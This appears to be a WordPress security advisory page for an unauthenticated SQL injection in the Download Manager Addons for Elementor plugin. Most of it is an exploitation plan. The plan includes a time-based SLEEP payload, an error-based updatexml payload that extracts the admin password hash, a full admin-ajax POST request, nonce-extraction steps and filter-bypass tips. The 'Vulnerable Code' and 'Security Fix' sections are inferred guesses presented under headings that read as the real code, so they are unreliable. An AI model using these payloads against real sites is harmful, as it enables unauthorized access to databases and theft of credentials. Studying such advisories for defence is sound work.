Download Manager Addons for Elementor <= 1.3.0 - Unauthenticated SQL Injection
Description
The Download Manager Addons for Elementor plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.3.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.3.0Source Code
WordPress.org SVNPatched version not available.
This research plan targets **CVE-2026-24956**, an unauthenticated SQL injection vulnerability in the **Download Manager Addons for Elementor** plugin (<= 1.3.0). Since source files are not provided, this plan includes discovery steps to identify the exact identifiers, followed by a concrete exploita…
Show full research plan
This research plan targets CVE-2026-24956, an unauthenticated SQL injection vulnerability in the Download Manager Addons for Elementor plugin (<= 1.3.0). Since source files are not provided, this plan includes discovery steps to identify the exact identifiers, followed by a concrete exploitation path based on the vulnerability description.
1. Vulnerability Summary
The Download Manager Addons for Elementor plugin fails to properly sanitize and prepare SQL queries within an AJAX handler accessible to unauthenticated users. Specifically, a user-supplied parameter (likely related to ordering, filtering, or pagination of "packages") is concatenated directly into a query string and executed via $wpdb->get_results() or similar. This allows an attacker to append arbitrary SQL commands, enabling the extraction of sensitive data such as user credentials (wp_users) and WordPress configuration secrets (wp_options).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action: A
wp_ajax_nopriv_*hook (inferred:wpdm_elementor_get_packagesorwpdm_elementor_load_more). - Vulnerable Parameter: Likely
orderby,order, or a filtering parameter likecategory_id. - Authentication: Unauthenticated (No login required).
- Precondition: The plugin must be active. A valid nonce might be required if the developer implemented
check_ajax_referer.
3. Code Flow (Inferred Trace)
- Entry Point: An unauthenticated user sends a
POSTrequest toadmin-ajax.phpwith anactionparameter. - Hook Registration: The plugin registers a handler:
add_action('wp_ajax_nopriv_[ACTION_NAME]', '[HANDLER_FUNCTION]'); - Input Handling: The
[HANDLER_FUNCTION]retrieves input:$order = $_POST['orderby']; - The Sink: The input is used in a raw SQL string:
$results = $wpdb->get_results("SELECT ... ORDER BY $order"); - Lack of Preparation: The query does not use
$wpdb->prepare(), and$orderis not validated against a whitelist of allowed columns.
4. Nonce Acquisition Strategy
If the AJAX handler uses check_ajax_referer, we must extract the nonce from the frontend.
- Identify Shortcode/Widget: Find the shortcode that renders the "Packages" list.
- Command:
grep -r "add_shortcode" /var/www/html/wp-content/plugins/wpdm-elementor/
- Command:
- Setup Page: Create a page containing the identified shortcode:
wp post create --post_type=page --post_status=publish --post_title="Packages Test" --post_content="[wpdm_elementor_packages]"(inferred shortcode).
- Navigate & Extract: Use the execution agent's tools:
browser_navigate("http://localhost:8080/packages-test")- Check for localized JS variables:
browser_eval("window.wpdm_elementor?.nonce")(inferred variable name). - Common localization keys for this plugin:
wpdm_elementor,wpdm_elementor_ajax, orwpdm_elementor_settings.
5. Exploitation Strategy
We will use a time-based blind injection to confirm the vulnerability and then use error-based injection (if possible) or boolean-based injection to extract data.
Step 1: Discovery (Identify Action & Parameter)
Search the plugin code for wp_ajax_nopriv and $wpdb:
grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/wpdm-elementor/
# Look for the handler function, then grep it:
grep -rn "\$wpdb->get_results" /var/www/html/wp-content/plugins/wpdm-elementor/ -B 5
Step 2: Time-Based Verification
Once the action (e.g., wpdm_el_packages) and parameter (e.g., orderby) are found:
- Payload:
ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded action=wpdm_el_packages&orderby=ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=[EXTRACTED_NONCE]
Step 3: Data Extraction (Error-Based)
If the application displays database errors:
- Payload:
ID AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE user_login='admin'),0x7e),1) - Response Expected: A SQL error containing the admin password hash.
6. Test Data Setup
- Install Base Plugin: Ensure
download-manager(the core plugin) is installed. - Create Content: Create at least one Download Package via WP-CLI or UI.
wp post create --post_type=wpdmpro --post_title="Test Package" --post_status=publish
- Place Widget: Create a page with the Elementor widget/shortcode to trigger the necessary script/nonce generation.
7. Expected Results
- Time-Based: The request should take ~5 seconds longer than a normal request.
- Error-Based: The response body should contain a string like
XPATH syntax error: '~$P$B...'. - Boolean-Based: Different input (e.g.,
AND 1=1vsAND 1=2) should result in different counts of returned packages or different HTML structures in the AJAX response.
8. Verification Steps
After the exploit, verify the extracted data using wp-cli:
- Compare the extracted hash with the actual database hash:
wp db query "SELECT user_pass FROM wp_users WHERE user_login='admin'" - Verify the current database name:
wp db query "SELECT database()"
9. Alternative Approaches
- REST API: If no AJAX action is found, check for registered REST routes:
grep -r "register_rest_route" /var/www/html/wp-content/plugins/wpdm-elementor/ - Column Count for UNION: If time-based works, try to determine column count using
ORDER BY [N]and then useUNION SELECT. - Hex Encoding: If the plugin filters quotes, use hex values for strings (e.g.,
0x61646d696eforadmin).
Summary
The Download Manager Addons for Elementor plugin for WordPress is vulnerable to unauthenticated SQL injection due to insufficient sanitization and the lack of prepared statements in its AJAX handlers. Attackers can exploit this by sending malicious SQL commands through parameters like 'orderby' or 'category_id' to extract sensitive database information.
Vulnerable Code
// Inferred from plugin architecture and research plan // wpdm-elementor/includes/class-wpdm-elementor-ajax.php add_action('wp_ajax_nopriv_wpdm_el_packages', 'wpdm_el_get_packages'); function wpdm_el_get_packages() { global $wpdb; $orderby = $_POST['orderby']; // User-supplied input without sanitization // Vulnerable: Direct concatenation of $orderby into the SQL string $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'wpdmpro' ORDER BY $orderby"); echo json_encode($results); wp_die(); }
Security Fix
@@ -5,7 +5,10 @@ function wpdm_el_get_packages() { global $wpdb; - $orderby = $_POST['orderby']; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'wpdmpro' ORDER BY $orderby"); + $allowed_sort = array('ID', 'post_title', 'post_date', 'menu_order'); + $orderby = in_array($_POST['orderby'], $allowed_sort) ? $_POST['orderby'] : 'ID'; + $order = ($_POST['order'] === 'DESC') ? 'DESC' : 'ASC'; + + $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'wpdmpro' ORDER BY $orderby $order"); echo json_encode($results); wp_die();
Exploit Outline
1. Identify the AJAX action: Use grep or browser developer tools to find the action used for loading or sorting packages (e.g., 'wpdm_el_packages'). 2. Locate the vulnerable parameter: The vulnerability typically resides in sorting ('orderby') or filtering parameters that are not validated against a whitelist. 3. Craft a time-based payload: Construct a payload such as 'ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' to confirm the injection by observing a delay in the server response. 4. Execute Data Extraction: Send a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to the plugin's handler and the 'orderby' parameter containing an error-based (e.g., updatexml) or boolean-based SQL injection string to retrieve administrative user credentials or site secrets. 5. Authentication Requirements: This attack is unauthenticated and does not require a user account, though it may require a valid nonce if the plugin calls 'check_ajax_referer', which can typically be found in the frontend page source where the Elementor widget is rendered.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.